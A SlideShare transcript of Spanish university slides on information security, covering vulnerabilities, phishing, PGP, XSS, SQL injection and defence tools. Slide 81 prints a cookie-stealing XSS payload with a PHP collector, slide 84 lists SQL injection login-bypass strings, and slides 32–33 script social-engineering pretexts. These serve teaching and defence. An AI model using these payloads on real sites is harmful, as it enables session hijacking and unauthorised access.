Seguridad Web

7,145 views

Published on

Published in: Education, Technology
3 Comments
2 Likes
Statistics
Notes
No Downloads
Views
Total views
7,145
On SlideShare
0
From Embeds
0
Number of Embeds
47
Actions
Shares
0
Downloads
616
Comments
3
Likes
2
Embeds 0
No embeds

No notes for slide

Seguridad Web

  1. 1. Experto en gestión de seguridad de la información JORNADA 2 ramos valcárcel, david david@uvigo.es
  2. 2. Seguridad de la información 1. En vuestra empresa, vida diaria, que problemas de seguridad apreciáis 2. Estáis preparados ante vulnerabilidades físicas 3. Cada cuanto tiempo hacéis copias de seguridad y dónde las guardáis 4. Creéis que sois vulnerables a la ingeniería social 5. Empleáis el email para enviar información confidencial 6. En donde creéis que debemos invertir más en seguridad Infraestructuras – hardware – software – personal 7. De 0 a 10, que importancia le dais a la información que manejáis en la empresa 8. De 0 a 10, como consideráis de seguras vuestras contraseñas 9. Se puede hacer un sistema 100% seguro
  3. 3. Seguridad de la información p Protección de la información y de los sistemas de información contra n Acceso indebido n Uso, negligente o no n Divulgación n Interrupción n Destrucción no autorizada
  4. 4. Seguridad de la información p Conceptos básicos n Confidencialidad p La información solo debe ser legible para personal autorizado p Evita que exista una intercepción de esta y que pueda ser leída por una persona no autorizada
  5. 5. Seguridad de la información p Conceptos básicos n Disponibilidad p Garantiza el acceso n Irrefutabilidad p No se puede negar la autoría n Autenticación p Solo individuos autorizados tienen acceso a los recursos
  6. 6. Seguridad de la información p Conceptos básicos n Integridad p Garantizar que los datos sean los que se suponen que son y no se hayan alterados in situ o durante una transmisión
  7. 7. Seguridad de la información Existe la seguridad absoluta???
  8. 8. Seguridad de la información p Todo es vulnerable si se aplica aplica la fuerza justa p Laúnica razón por la cual utilizamos rejas en nuestras casas es porque hace que el ataque sea más lento
  9. 9. Seguridad de la información p El coste de la seguridad aumenta exponencialmente a la necesidad de minimizar el riesgo p Un hacker puede gastar una ínfima parte en intentar vulnerar un sistema de lo que cuesta evitar el ataque p Las empresas asumen riesgos a fin de minimizar costes
  10. 10. Seguridad de la información p Objetivo: p Obtener un factor coste/riesgo asumible p Una máxima: p El sistema de seguridad no puede ser más valioso que el sistema o los datos que protege p Existen documentos, directrices y recomendaciones para establecer políticas de seguridad adecuadas
  11. 11. Seguridad de la información VULNERABILIDAD
  12. 12. Seguridad de la información p Vulnerabilidad n Es la posibilidad de que una amenaza se materialice sobre un activo n Las amenazas pueden desencadenar incidentes en: p La organización p Los procedimientos p Equipos p Software p Información
  13. 13. Seguridad de la información p Analogía con el mundo real: p En el mundo informático el funcionamiento es muy similar p Existe un agujero de seguridad y mientras éste permanezca abierto estaremos predispuestos a sufrir un ataque.
  14. 14. Seguridad de la información p Ciclo de vida de una vulnerabilidad: n Supongamos que se ha descubierto una vulnerabilidad n Es de dominio público y aún no hay disponible ni solución ni parche
  15. 15. Seguridad de la información p Ciclo de vida de una vulnerabilidad: 1. Creación: p no intencionada en la creación o actualización de un producto p error en el desarrollo o descuido en la configuración. 2. Descubrimiento y publicación: p Webs que ofrecen información diaria sobre las últimas vulnerabilidades y cuentan con extensas BD: p National Vulnerability Database (EN) § http://nvd.nist.gov/ p SecurityFocus (EN) § http://www.securityfocus.com/vulnerabilities p Secunia (EN) § http://secunia.com/advisories/historic/
  16. 16. Seguridad de la información p Ciclo de vida de una vulnerabilidad: 3. Explotación de la vulnerabilidad: p se intenta desarrollar programas que automaticen el proceso. 4. Desarrollo de solución o parche: p se desarrolla una solución efectiva y permanente al agujero de seguridad. Entre las distintas posibilidades: p Publicación por parte del fabricante de un parche o actualización del producto p Métodos de prevención temporales o no oficiales como la publicación de un parche independiente del fabricante, el cierre de puertos, la desactivación de servicios, etc.
  17. 17. Seguridad de la información p Ciclo de vida de una vulnerabilidad: 5. Difusión de la actualización: p Finaliza la existencia del defecto de seguridad p Masivamente a través de mecanismos de actualización automática así como de una integración total con el producto afectado Nueva “actualización” posible nueva vulnerabilidad?
  18. 18. Seguridad de la información p Qué tipos de vulnerabilidades existen Los ataques se pueden producir en cada eslabón de esta cadena, siempre y cuando exista una vulnerabilidad que pueda aprovecharse
  19. 19. Seguridad de la información p Tipos de vulnerabilidades n Vulnerabilidad Física: el atacante tiene posibilidad de entrada o acceso físico a las instalaciones e incluso a los equipos: p Interrupción del suministro eléctrico. p Apagado manual del equipo. p Vandalismo. p Apertura de la carcasa del equipo y robo del disco duro. p Monitorización del tráfico de red. n Vulnerabilidad Natural: se refiere al grado en que el sistema puede verse afectado por desastres naturales o ambientales que pueden dañar el sistema: p Fuego Rayos Terremotos p Inundaciones Fallos eléctricos Picos de tensión
  20. 20. Seguridad de la información p Tipos de vulnerabilidades n Vulnerabilidad del Hardware y del Software: ciertos tipos de dispositivos requieren la posesión de algún tipo de herramienta o tarjeta para poder acceder a los mismos p Bugs de los sistemas operativos p Bugs en software en general n Vulnerabilidad por emanación: los dispositivos eléctricos y electrónicos emiten radiaciones electromagnéticas
  21. 21. Seguridad de la información p Centrándonos en vulnerabilidades de Software: n De configuración: es una vulnerabilidad no del diseño del mismo sino del usuario. p Se considera error cuando la configuración por defecto es insegura p Ej.: aplicación recién instalada con usuario por defecto n Gestión de credenciales: tiene que ver con la gestión de usuarios, contraseñas y los ficheros que los almacenan n Permisos, privilegios y/o control de acceso: ocurre cuando el acceso o asignación de permisos es defectuoso p Se trata del sistema y no del administrador
  22. 22. Seguridad de la información p Centrándonos en vulnerabilidades de Software: n Validación de entrada p se produce cuando la entrada que procesa un sistema no es comprobada adecuadamente n Salto de directorio p es la falta de seguridad de un servicio de red para desplazarse por el árbol de directorios hasta la raíz del sistema. Podrá desplazarse para ejecutar una utilidad de forma remota n Seguimiento de enlaces p cuando no existe una protección bastante robusta para evitar el acceso a un directorio desde un enlace simbólico o acceso directo n Por puertas trampa/traseras p son entradas ocultas en un programa de software que permite el acceso
  23. 23. Seguridad de la información p Centrándonos en vulnerabilidades de Software: n Por intrusiones: existen diversos tipos: p Análisis de puertos p Elevación de privilegios: consiste en enviar una solicitud específica. En ciertos casos, esto genera comportamientos atípicos. § desbordamiento de búfer: se desborda cuando de forma incontrolada intenta meter más datos de los que caben. Son defectos de programación y existen lenguajes que lo evitan § agotamiento del búfer: cuando un búfer usado para comunicarse entre 2 dispositivos se alimenta con datos a una velocidad mas baja de la que lee p Ataques malintencionados (virus, gusanos, troyanos).
  24. 24. Seguridad de la información p Centrándonos en vulnerabilidades de Software: n Secuencia de comandos en sitios cruzados (XSS): abarca cualquier ataque que permite ejecutar código de scripting (Ej.: javascript) en el contexto de otro dominio. p Aplicaciones HTML p Navegadores El problema radica en incorrecta validación de los datos de entrada: hay 2 tipos: p Indirecta: modifica valores que la aplicación web utiliza para pasar variables entre paginas, sin sesiones (URL) p Directa: localiza puntos débiles en la programación de filtros (Formularios)
  25. 25. Seguridad de la información p Centrándonos en vulnerabilidades de Software: n SQL Injection: está en el nivel de BD de una aplicación. p Consiste en insertar un trozo de código SQL dentro de otro con el fin de modificar su comportamiento. p Se realiza una consulta con parámetros dados por el usuario y dentro de esos datos estaría el código malicioso n Por denegación de servicio: interrumpir el funcionamiento normal de un servicio. p Las denegaciones de servicio se dividen: § Explotación de las debilidades del protocolo TCP/IP. § Explotación de las vulnerabilidades del software del servidor.
  26. 26. Seguridad de la información p Centrándonos en vulnerabilidades de Software: n Inyección de código: Existen distintos subtipos: p Inyección directa de código estático § Código en el contenido de las páginas § Permanente § Solución usar listas negras y listas blancas p Evaluación directa de código dinámico § Código en contenido dinámico § No permanente § Necesidad de crear funciones § Solución usar listas negras y listas blancas p Inclusión remota de archivos PHP § Uso de la función include() o require() que permite enlazar archivos en otros servidores § Si en el include/require incorporamos variables o funciones que puedan ser alteradas
  27. 27. Seguridad de la información INGENIERÍA SOCIAL
  28. 28. Seguridad de la información p La mayor parte de los ataques exitosos son total o parcialmente debidos a Ingeniería Social p Kevin Mitnick “Condor” es considerado el primer hacker que la usó. (Doc: Freedom downtown) n “El factor determinante es interpretar correctamente las políticas de seguridad y hacerlas cumplir” n Los ataques de ingeniería social (teléfono o email), son basados en cuatro principios básicos y comunes a las personas: p Todos queremos ayudar p Somos confiados p No nos gusta decir No p A todos nos gusta que nos alaben
  29. 29. Seguridad de la información p Ingeniería social n Consiste en la manipulación de las personas para que voluntariamente realicen actos que normalmente no harían n Se convierte en el método de ataque más sencillo, menos peligroso para el atacante y por desgracia en uno de los más efectivos n Aprovecha el desconocimiento de unas mínimas medidas de seguridad
  30. 30. Seguridad de la información p Ingeniería social Ah, también gestiono una red. Nunca pude ¿Cómo configura pensar en sus firewalls? una buena contraseña. ¿Qué utiliza usted?
  31. 31. Seguridad de la información p Ingeniería social - Phishing Phisher se Phisher utiliza la prepara para información para atacar suplantar a víctima Phisher envía mail fraudulento a victimas Información Víctima sigue confidencial es indicaciones de enviada al Phisher phisher Víctima compromete información confidencial
  32. 32. Seguridad de la información p Ejemplos Ingeniería social n correo electrónico: From: Super-User <root@sistema.com> To: Usuario <user@sistema.com> Subject: Cambio de clave Hola, Para realizar una serie de pruebas orientadas a conseguir un optimo funcionamiento de nuestro sistema, es necesario que cambie su clave mediante la orden 'passwd'. Hasta que reciba un nuevo aviso (aproximadamente en una semana), por favor, asigne a su contraseña el valor 'PEPITO' (en mayúsculas). Rogamos disculpe las molestias. Saludos, Administrador
  33. 33. Seguridad de la información p Ejemplos Ingeniería social n Llamada telefónica (el atacante sabe el nombre de cuenta): Administrador: Buenos días, aquí área de sistemas, en qué podemos ayudarle? Atacante: Hola, soy José Luis Pérez, llamaba porque no consigo recordar mi password en la máquina sistema.xx.es. Administrador: Un momento, me puede decir su nombre de usuario? Atacante: Sí, claro, es jlperez. Administrador: Muy bien, la nueva contraseña que acabo de asignarle es *****. Por favor, nada más conectar, no olvide cambiarla. Atacante: Por supuesto. Muchas gracias, ha sido muy amable. Administrador: De nada, un saludo.
  34. 34. Seguridad de la información p Ejemplos Ingeniería social n http://www.youtube.com/watch?v=Ao20tAS3x3I n http://www.youtube.com/watch?v=wiRuBZxMLss&feature=re lated (3 videos) n http://www.youtube.com/watch?v=NgHYI4AUUPc n http://www.youtube.com/watch?v=cm89EQCF5e8&feature=re lated
  35. 35. Seguridad de la información PHISHING
  36. 36. Seguridad de la información p Como funciona 1. Correo electrónico masivo 2. Correo electrónico phishing 3. Sitio Web fraudulento p Afecta principalmente n instituciones financieras n proveedores internet n grandes tiendas
  37. 37. Seguridad de la información p Correo n Remitente: Banco Bilbao Vizcaya Argentaria info@bbva.es n Asunto: Aviso Importante n Logotipo oficial n Aviso de Phishing n Derechos reservados n Teléfono de contacto
  38. 38. Seguridad de la información Reconocerías una web falsa?
  39. 39. Seguridad de la información
  40. 40. Seguridad de la información
  41. 41. Seguridad de la información
  42. 42. Seguridad de la información
  43. 43. Seguridad de la información p Correo donde el INE hace un sondeo sobre satisfacción con los bancos 1. Damos la información 2. Nos redirige a la web oficial
  44. 44. Seguridad de la información p 40% error incluso entre usuarios “tecnológicamente avanzados” www.bankofthevvest.com www.hatmail.com http://www.faccebook.es/
  45. 45. Seguridad de la información p http://www.phishtank.com/ n Facebook: http://faccebook.c.la/ n PayPal: http://www.phishtank.com/phish_detail.php?phish_id=916961 n Bank of America: http://www.phishtank.com/phish_detail.php?phish_id=916955 n Hotmail: http://www.phishtank.com/phish_detail.php?phish_id=916948
  46. 46. Seguridad de la información p Otros tipos de phishing n Vía programa malicioso. p Troyano que instala programa espía (en juegos y aplicaciones free) n A través de ataque al navegador con vulnerabilidades p Permite generar interfaces superpuestas sobre webs oficiales p Muy difícil de detectar n Scam: ofertas de trabajo para blanquear dinero n Nuevas variantes: p Vishing: con tecnología VoIp (Identificador de llamada falsificable) p Smishing: usan SMS p Spear phishing: el correo va al jefe (CEO) § Correo personalizado § No usan correo masivo
  47. 47. Seguridad de la información p Tendencias n A la profesionalización p Ataques sofisticados y difíciles de detectar p Difícil identificar interfaces falsas p Simulación de URL p Ataques sobre DNS n Siguen funcionando los ataque simples e ingeniería social de nivel bajo n Cada vez más las pequeñas empresas afectadas
  48. 48. Seguridad de la información p Prevención n Su usuario, contraseña, pin, firma, etc. son datos de carácter personal y estrictamente confidenciales n Desconfíe de cualquier toma de datos personales realizada a través de Internet fuera de su sitio web seguro. n No dé nunca información personal o financiera en respuesta a un e-mail n No utilice los enlaces incorporados en e-mails o páginas Web de terceros n Cuidado con los adjuntos (exe, doc, xls…) n Educación y mucha cultura de seguridad
  49. 49. Seguridad de la información COMO PROTEGERNOS
  50. 50. Seguridad de la información p ¿Cómo nos protegemos de la forma más eficiente posible? 1. Determinando que queremos proteger (ej: Hardware, datos, comunicaciones, sistemas, etc.) 2. Estableciendo prioridades de los factores a proteger 3. Creando políticas de seguridad 4. Manteniendo la seguridad en el tiempo
  51. 51. Seguridad de la información p Debemos enfocarnos en n reducir el riesgo, no en tratar de eliminar las amenazas, ya que es imposible. p Para eso debemos saber n de qué o quiénes nos protegemos n cómo nos atacan.
  52. 52. Seguridad de la información p Pocos ataques tienen éxito sin una preparación previa: Infiltrado de programas, recopilación de información sobre usuarios, claves, etc. p Un sistema de seguridad es tan fuerte como su eslabón más débil p Para poder defender nuestros sistemas, es necesario conocer la forma en que los atacantes actúan y cuáles son sus armas “El único sistema que está seguro es el que se encuentra debidamente apagado y dentro de una caja ignifuga” (Gene Spafford)
  53. 53. Seguridad de la información Ataques organizativos Hackers Ataques Datos restringidos automatizados DoS Infracciones accidentales Errores de conexión de la seguridad Denegación de Virus, servicio (DoS) caballos de Troya y gusanos
  54. 54. Seguridad de la información p Estrategias de seguridad n Proactivas (proteger y proceder) p Se basan en la prevención de ataques p Reducir al mínimo la cantidad de puntos vulnerables p Desarrollar planes de contingencia n Reactivas (perseguir y procesar) p Posterior al ataque p Evaluar ataque, reparar e implementar plan de contingencia, documentar y aprender
  55. 55. Seguridad de la información p Estrategias de seguridad Con respecto a la postura en recursos compartidos n Lo que no se permite está expresamente prohibido p El sistema está perfectamente delimitado n Lo que no se prohíbe está permitido p Menos restrictiva y favorecida por la imposibilidad de políticas de restricción a medida para todos los posibles casos
  56. 56. Seguridad de la información p Estrategias de seguridad Datos Encriptación Seguridad de programas y Aplicación servicios Fortalecer el sistema operativo, Host autenticación Marketing, Ventas, Finanzas, Red interna encriptar datos de red Oficina principal, oficina sucursal, Perímetro socio de negocios. Firewall Seguridad física Protecciones, seguros, dispositivos de seguimiento Políticas, procedimientos y Documentos de seguridad, conciencia educación del usuario
  57. 57. Seguridad de la información p Debemos formar al usuario: Cultura de seguridad Formatos potencialmente peligrosos No abrir archivos no solicitados No utilizar fuentes no confiables Navegación segura Política de passwords Copias de seguridad
  58. 58. Seguridad de la información FIRMA Y CIFRADO DE CORREO
  59. 59. Seguridad de la información p Cifrar: Alterar el contenido para que sólo los destinatarios puedan entenderlo p Firmar: permite al destinatario comprobar que el mensaje no fue modificado en el camino y que lo que lee es exactamente lo que se envió p Como lo hacemos p Clave pública: § La conocen sólo los destinatarios § Permite a la gente verificar nuestra firma y crear mensajes cifrados para nosotros. § Para enviar correos cifrados p Clave privada: § Sólo la conoce el emisor § Permite firmar y descifrar correo § Para enviar correos firmados p no se puede averiguar una a través de la otra.
  60. 60. Seguridad de la información p Ejemplo de firma
  61. 61. Seguridad de la información p Ejemplo de cifrado
  62. 62. Seguridad de la información p Cifrado con PGP (GNU Privacy Guard) n Aplicación de cifrado asimétrico libre n http://www.gnupg.org/ n ftp://ftp.gnupg.org/gcrypt/binary/ (windows) n http://macgpg.sourceforge.net/(mac) p Instalamos PGP p Necesitamos un cliente de correo n Thunderbird n http://es-es.www.mozillamessaging.com/es- ES/thunderbird/ p Necesitamos un software de cifrado y autenticación n Enigmail 1.0.1 n https://addons.mozilla.org/es-ES/thunderbird/addon/71 n Instalamos: ThunderbirdàHerramientasàComplementos n Genera nueva opción de menú OpenPGP
  63. 63. Seguridad de la información p Generar las claves n OpenPGP à Administración de claves n En el administrador de claves p Generar à Nuevo par de claves p Generar certificado de revocación p Configuración de las claves n En la configuración de la cuenta : activar soporte OpenPGP p Subir claves públicas a n http://www.rediris.es/cert/servicios/keyserver/
  64. 64. Seguridad de la información p Encriptar con GMAIL n Configurar el navegador “Conexión del navegador” para usar siempre https n Instalamos PGP n Usaremos Mozilla Firefox n Instalamos el complemento para Firefox p FireGPG p http://es.getfiregpg.org/s/install p Incompatible con FireFTP p Reiniciar si es necesario n Acceder a Gmail y firmar y cifrar a través de iconos
  65. 65. Seguridad de la información AMENAZAS EN LA RED
  66. 66. Seguridad de la información p Existen 4 tipos de amenazas en la red: n Interrupción: Hace que el objetivo del ataque se pierda, quede inutilizable o no disponible n Interceptación: Consiste en acceder a un determinado objeto del sistema n Modificación: Además de la interceptación, el objeto del ataque es modificado n Fabricación: Modificación destinada a suplantar el objeto real
  67. 67. Seguridad de la información
  68. 68. Seguridad de la información p Ataques Internos n Premeditación n Descuido n Ignorancia n Indiferencia de las políticas de seguridad p Ataques externos n Hackers, Crackers, Lammers, Script-Kiddies n Motivaciones: p Ranking, reto personal p Robo de datos p Pruebas (pen test), etc.
  69. 69. Seguridad de la información p Origen de las amenazas n Personas: Piratas que buscan nivel de privilegios en un sistema. Además de conocimientos técnicos, usan tácticas como la Ingeniería Social y el Basureo. n Personal de la organización: Cualquier empleado puede ser una amenaza. Pueden causar daños no intencionados, pero cuando lo hacen de forma intencionada son extremadamente dañinos n Ex-empleados: Pueden tener motivos para Atacar n Curiosos: Aunque se trata de ataques no destructivos, el borrado de huellas puede causar daños
  70. 70. Seguridad de la información
  71. 71. Seguridad de la información p Hackers (expertos) n De sombrero blanco p Ayudan a mejorar los sistemas y tecnologías informáticas p Responsables de los protocolos informáticos y herramientas p Optimizan sistemas, prueban las tecnologías y aprenden con el objetivo de hacerlas mas eficientes y fiables n De sombrero negro (piratas) p Propósito siempre malicioso
  72. 72. Seguridad de la información p De sombrero negro (piratas) n Script Kiddies (crashers, lamers, packet monkeys) p Jóvenes usuarios que usan programas encontrados en la red par dañar sistemas p Sin conocimientos y altamente incompetentes p Lamer. Se utiliza con tono despectivo para describir a un hacker que no sigue las reglas de la comunidad, o que intenta pavonearse de sus hazañas y conocimientos. n Phreakers p Usan la red telefónica para hacer llamadas gratis
  73. 73. Seguridad de la información p De sombrero negro (piratas) n Caders: atacan sistemas de tarjetas (generalmente bancarias) para entender su funcionamiento y aprovechar sus vulnerabilidades n Crackers: crean software para atacar sistemas informáticos o eliminar la protección anticopia del software con licencia n Hacktivistas: Hackers con motivaciones ideologías
  74. 74. Seguridad de la información EN LA WEB
  75. 75. Seguridad de la información p Servidores y platatormas web n Ataques internos p Suplantación de identidad p Sniffing (Incluso administradores pueden hacer sniffing. Sugerencia: CIFRAR) p Robo de información. (Ej: para la competencia) p Virus, Troyanos, Gusanos p Espionaje: Trashing, Shoulder Surfing, Spyware, etc p Keylogging - Keycatching p KeyCatcher
  76. 76. Seguridad de la información p Trashing (basureo) n Alfombrilla ratónà
  77. 77. Seguridad de la información p Servidores y platatormas web n Ataques externos p Ataques contra servicios WEB § Cross Site Scripting (XSS) § SQL Injection § Exploits: aprovecha una vulnerabilidad de SO, Sw y Hw p Robo de Identidad p Denegación de Servicio (DoS) p SPAM p VIRUS p Phishing: ingeniería social, url mal escritas, webs simuladas p Troyanos: software malicioso bajo una apariencia inofensiva
  78. 78. Seguridad de la información CROSS SITE SCRIPTING XSS
  79. 79. Seguridad de la información p Servidores y platatormas web n Cross Site Scripting (XSS) p Aprovecha la falta de mecanismos de filtrado en los campos de entrada p Permiten insertar y enviar datos sin validación alguna, aceptando el envió de scripts completos p Pueden generar secuencias de comandos maliciosas que impacten directamente en el sitio o en el equipo de un usuario p Sentencias ocultas en el código: en enlaces, formularios… p Se usa el correo electrónico para enviarlos p Se usan blogs, foros, libros de visitas…
  80. 80. Seguridad de la información p Ejemplos Cross Site Scripting (XSS) Supongamos que un sitio web tiene la siguiente forma: http://www.example.com/home.asp?frame=menu.asp En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript? javascript:while(1)alert("Este mensaje saldrá indefinidamente");
  81. 81. Seguridad de la información p Ejemplos Cross Site Scripting (XSS) Un atacante aprovecha la vulnerabilidad de nuestro sitio y publica una imagen de la siguiente manera: http://www.mipagina.com/mifoto.jpg name="foto“ onload="foto.src='http://www.mipagina.com/foto.php? galleta='%20+document.cookie;"> Código de foto.php. <? $migalleta = $_REQUEST[galleta]; $file=fopen("cookies.txt", "a"); fput($file, "$migalletan"); fclose($file); ?> La variable que contiene las cookies galleta del usuario será almacenada en un documento de texto llamado cookies.txt alojado en el servidor del atacante
  82. 82. Seguridad de la información p Defensa Cross Site Scripting (XSS) n Url p Evitar llamadas a servidores externos p Evitar parámetros susceptibles (sql, datos privados…) n En formularios: p Limitar la longitud de los campos de entrada MaxLength p Validar los campos (expresiones regulares) n Cookies p Evitar almacenar datos susceptibles § Nombre usuario y contraseña § Tarjetas, cuentas bancarias … p Encriptar todas las cookies de nuestro sitio n Usar SSL (Secure Socket Layer) p No es 100% seguro contra XSS pero ayuda
  83. 83. Seguridad de la información SQL INJECTION
  84. 84. Seguridad de la información p SQL Injection n Filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. <% usuario=request.form("usuario") pass=request.form("pass") sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and password='" & pass & "'“ %> p El usuario teclea en el formulario usuario:" a' or true ‘" contraseña: " a' or true ‘“ n La cadena resultado sería SELECT * FROM users WHERE user='a' or true and pass='a' or true n Otro ejemplo SELECT * FROM users WHERE user = ‘root' AND password='' OR ''='‘ --
  85. 85. Seguridad de la información p SQL Injection n Mas peligroso p Se pueden concatenar sentencias de modificación, insertado y borrado de datos o de tablas n Solución: p No usar usuario root para acceso a las BBDD p Validar el contenido y longitud de los campos p Usar procedimientos almacenados p Evitar es que, al formar la cadena SQL, ésta tenga un "sentido" distinto al esperado = Eliminar comillas $query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = "" . mysql_real_escape_string($nombre_usuario) . """);
  86. 86. Seguridad de la información AUTENTIFICACIÓN
  87. 87. Seguridad de la información p Autentificación de usuarios en la web n Se emplean sesiones p Son variables globales que nos permiten almacenar datos que necesiten volver a ser usados en otros accesos a la pagina n Pasos p Se crea el formulario de validación (login.php) p Se comprueba la validez del usuario (autenticacion.php) p Se crea la sesión y se da acceso al usuario o se deniega el mismo
  88. 88. Seguridad de la información
  89. 89. Seguridad de la información p Sesiones (autenticacion.php) <?php //vemos si el usuario y contraseña son válidos if ($_POST["usuario"]=="usuario" && $_POST["contrasena"]=="123"){ //usuario y contraseña válidos session_start(); $_SESSION["autenticado"]= "SI"; // seguridad almacenando sesion_id() $_SESSION[“id_misesion"]= session_id(); header ("Location: aplicacion.php"); }else { //si no existe se va a login.php header("Location: login.php?errorusuario=si"); } ?>
  90. 90. Seguridad de la información p Sesiones (seguridad.php) <?php //Inicio la sesión session_start(); //COMPRUEBA QUE EL USUARIO ESTA AUTENTICADO if ($_SESSION["autenticado"] != "SI") { //si no existe, va a la página de autenticacion header("Location: login.php"); //salimos de este script exit(); } ?> n Este código lo incluimos en todas las páginas que requieran validación
  91. 91. Seguridad de la información HERRAMIENTAS
  92. 92. Seguridad de la información p GFI LANguard : n Escanea redes e informa de: p El nivel de service pack de cada máquina, falta de parches de seguridad, recursos compartidos, puertos abiertos, servicios/ aplicaciones activas en el equipo, datos del registro, passwords débiles, usuarios y grupos, puntos de acceso wireless, dispositivos USB ... p Escanea los resultados y los guarda en documentos HTML, sobre los que se puede consultar la información p Existe una versión gratuita que está disponible para su prueba y uso no comercial durante 30 días http://www.gfi.com/lannetscan
  93. 93. Seguridad de la información p eEye retina: n Su función es explorar todas las maquinas de una red e informar sobre cualquier vulnerabilidad encontrada n Esta muy distribuida en el mercado, es sencilla y rápida para el escaneo de vulnerabilidades http://www.eeye.com/Products/Retina.aspx
  94. 94. Seguridad de la información p Nikto: n Nikto es un escáner de servidores Web n Open source (GPL) n Busca más de 2000 archivos/CGIs potencialmente peligrosos y problemas en más de 200 servidores. n Tiene la capacidad de no sólo probar vulnerabilidades de CGI sino también que lo hace de forma evasiva, evitando los sistemas de detección de intrusos. n Viene con una documentación muy completa, la cual es recomendable revisar antes de ejecutar el programa. n Es una buena herramienta pero limitada por su uso de Whisker/ libwhisker, debido a la falta de actualizaciones de esta última, por lo que las vulnerabilidades más críticas no son detectadas http://www.cirt.net/nikto2 http://www.madirish.net/?article=216 (cómo instalar en windows)
  95. 95. Seguridad de la información p WebScarab n Herramienta que permite analizar aplicaciones que se comunican usando protocolos de comunicación Web como el HTTP y el HTTPS n Almacena los resultados de sus escaneos n Diseñada para permitir a un desarrollador de aplicaciones basadas en HTTP(S) a depurar los errores de implementación y permitir identificar vulnerabilidades en el sistema http://sourceforge.net/projects/owasp/files/WebScarab/
  96. 96. Seguridad de la información p Asociación de internautas n Scanner on-line n Realiza un escaneo en remoto de los ‘puertos bien conocidos’ del sistema objeto del estudio n Permite seleccionar los puertos que quieres analizar (hasta un máximo de 5 puertos) n Devuelve como resultado únicamente el estado (abierto, cerrado) en el que se encuentran los puertos seleccionados previamente http://www.internautas.org/w-scanonline.php
  97. 97. Seguridad de la información p Dr. Web n Ofrece una herramienta On-line para el análisis en línea de direcciones de Internet en busca de código malicioso que pudiera estar inyectado en las páginas HTML. n En el caso de ser así, nos avisará que el acceso a este sitio podría ser peligroso, ya que podría dañar la configuración del sistema, por lo que sería aconsejable no acceder a dicha URL. http://online.us.drweb.com/?url=1
  98. 98. Seguridad de la información p LinkScanner n Analiza URLs en línea o bajo demanda o si prefiere instalarla como herramienta de escritorio n Realiza un análisis de los resultados de búsquedas Web con motores de Google, MSN y Yahoo, para determinar si las páginas mostradas en la búsqueda realizada contienen virus, software espía, explotan alguna vulnerabilidad o se utilizan con otros fines fraudulentos. http://linkscanner.explabs.com/linkscanner/default.aspx
  99. 99. Seguridad de la información p Virus Total n Servicio de análisis de archivos sospechosos que permite detectar virus, gusanos, troyanos, y malware en general n Trabaja con los principales motores de antivirus y antimalware: Avast!, Avira, Quick Heal, Clamwin, NOD 32, AVG, Antivir, Ikarus, Panda Platinum, BitDefender, Norton Antivirus n http://www.virustotal.com/
  100. 100. Seguridad de la información p Nessus n Es la herramienta de evaluación de vulnerabilidades para UNIX de mayor renombre n Nessus quizás sea el mejor escáner de vulnerabilidades "Open Source" (GPL) que hay disponible en la red n Se actualiza constantemente, con más de 11.000 plugins gratuitos n Nessus 3 ahora es de código cerrado, aunque de coste gratuito a menos que desees los plugins más recientes http://www.nessus.org
  101. 101. Seguridad de la información p Nessus n Basado en un modelo cliente/servidor que cuenta con su propio protocolo de comunicación n El servidor explora y prueba ataques contra objetivos establecidos n El cliente realiza las tareas de control, generación de informes y presentación de datos n Consta de 4 ficheros básicos: p Las librerías del programa p Las librerías NASL (Nessus Attack Scripting Language) p El núcleo de la aplicación p Los plugins (gestionan los diferentes tipos de ataques)
  102. 102. Seguridad de la información p Nessus
  103. 103. Seguridad de la información n Las 75 Herramientas de Seguridad Más Usadas p http://insecure.org/tools/tools-es.html n packet sniffers para Ethernet/LAN : p Wireshark (anteriormente conocido como Ethereal ), p Ettercap, TCPDump, WinDump, WinSniffer, Hunt, Darkstat, traffic-vis, KSniffer) p Redes inalámbricas: Kismet, Network Stumbler , ApSniffer
  104. 104. Seguridad de la información NORMAS A SEGUIR
  105. 105. Seguridad de la información p Normas de defensa n Respetar las políticas de seguridad n Antivirus + Firewall n Siempre tener nuestros servicios, sistemas operativos y aplicaciones actualizadas a la última versión conocida estable n Utilizar mecanismos de criptografía para almacenar y transmitir datos sensibles n Cambiar las claves cada cierto tiempo
  106. 106. Seguridad de la información p Normas de defensa n Asignar un responsable de seguridad n Auto-auditar nuestros propios servicios n Autoatacarnos para saber si somos o no vulnerables n Estar siempre alerta. Es muy común: ”a nosotros nadie nos ataca”. n No dejar información sensible en directorios web n No usar las mismas claves para servicios distintos p Muy común: la clave de root sea la misma que la de MySQL y la misma que Apache ...
  107. 107. Seguridad de la información p Normas de defensa n Cambiar los puertos por defecto en servicios no públicos n Aplicar técnicas de Hardening n Para servicios privados y confidenciales utilizar túneles seguros (VPN cifradas) en Internet y redes no seguras n Habilitar módulos de seguridad (Ej mod_security en Apache)
  108. 108. Seguridad de la información p Normas de defensa n Nunca trabajar con ”root” si no es estrictamente necesario n Cerrar puertos y eliminar aplicaciones innecesarias n Proteger las URL (ej: mod_rewrite, o AJAX)
  109. 109. Seguridad de la información p Normas de defensa n Elegir contraseñas seguras, mezclando mayúsculas, minúsculas, números y caracteres especiales. n Las claves no deben ser palabras coherentes ni de diccionario n 10 contraseñas mas usadas en la red de 32 millones p 123456-12345-123456789-password-iloveyou-princess- rockyou-1234567-12345678-abc123
  110. 110. Seguridad de la información
  111. 111. Seguridad de la información p Normas de defensa n Datos: p 16% usa su primer nombre como contraseña. p 14% usa combinaciones excesivamente fáciles de recordar como 1234, 123456, QWERTY p 5% eran nombres de celebridades tipo hanna, matrix o ironman. p 4% corresponden a palabras como password o password1. p 3% llegan a los límites del WTFismo con simples si, no, whatever. n Contraseña segura simple: s+6o1e$7 n Herramientas: p http://keepass.info/: almacena p http://passworg.badhim.com/: genera y valida
  112. 112. Seguridad de la información “Seguridad no es un producto, es un proceso.” Bruce Schneier
  113. 113. Seguridad de la información http://www.rompecadenas.com.ar/ http://foro.portalhacker.net/ http://www.elhacker.org http://www.kriptopolis.org/
  114. 114. Seguridad de la información

×